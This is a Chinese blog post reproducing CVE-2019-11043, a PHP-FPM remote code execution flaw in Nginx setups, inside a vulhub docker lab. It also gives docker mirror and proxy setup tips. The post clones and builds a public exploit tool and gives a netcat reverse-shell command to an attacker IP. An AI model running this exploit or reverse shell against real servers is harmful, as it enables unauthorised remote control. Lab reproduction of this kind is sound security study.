前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

PHP远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

作者头像
Ms08067安全实验室
发布2019-10-31 10:59:42
8.9K0
发布2019-10-31 10:59:42
举报

本文作者:Snowming(http://blog.leanote.com/snowming)

漏洞描述

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

代码语言:javascript
复制
location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

漏洞复现

使用 p 牛的 docker 环境进行复现:

PHP-FPM 远程代码执行漏洞(CVE-2019-11043)

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作:安装 docker、golang 环境

代码语言:javascript
复制
sudo apt-get install docker docker-compose
sudo apt install golang

搭建漏洞环境

代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

启动环境之后,就可以看到漏洞环境的默认页面。在此为 http://127.0.0.1:8080/index.php。

安装漏洞利用工具

代码语言:javascript
复制
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

漏洞利用

url 中空格不影响命令执行:

p 牛友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。

反弹 shell:

因为我用的是P牛的环境,里面没有 nc 命令。所以不能用 nc 的反弹 shell。

给此docer容器装一个 nc:

p牛的环境有两个 docker 镜像,一个是nginx,一个是 php:

进入 nginx 的容器:

如图就装好了。

exit 此容器。尝试在url里面 nc 我本地监听的端口:

没有成功。

但是继续观察,可能是镜像不对。因为p牛封装的这个环境有两个 docker,刚刚都是在 nginx docker 镜像里面尝试的:

试试在php镜像里面装nc。毕竟、

换镜像装 nc:

然后 nc 连接成功:

试下反弹 shell:

代码语言:javascript
复制
nc -e /bin/bash 10.x.x.39 7777

反弹 shell 成功!

科学提速

这个环境我下了很久没下下来,我之前一直在国外,对一些换源、换镜像不熟悉。

  • 方法一:阿里云容器镜像加速器

URL:https://cr.console.aliyun.com/cn-hangzhou/instances/mirrors

进去之后获取:

然后配置 docker 文件:

:上面的是阿里云,下面的是中科院。阿里云的更快,只用阿里云就行了。

然后 restart 一下 docker:

代码语言:javascript
复制
sudo systemctl daemon-reload
sudo systemctl restart docker

然后就可以了!

参考链接:

[1] 镜像中心-镜像加速器 [2] 官方镜像加速 操作手册

重启 docker 之后,速度仿佛换了个 docker,很爽。

  • 方法二:系统代理

基于 http 协议的:

需要凭据:

代码语言:javascript
复制
export http_proxy="http://用户名:密码@ip:端口号/"
export https_proxy="http://用户名:密码@ip:端口号/"

无需凭据:

代码语言:javascript
复制
export http_proxy="http://ip:端口号/"
export https_proxy="http://ip:端口号/"

注意:这种命令行运行是临时的,要全局的话加入到 etc/profile

基于 socks5 协议:

proxychains

打公网机器

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞描述
  • 影响范围
  • 漏洞复现
    • 准备工作:安装 docker、golang 环境
      • 搭建漏洞环境
        • 安装漏洞利用工具
          • 漏洞利用
            • 科学提速
            相关产品与服务
            容器镜像服务
            容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档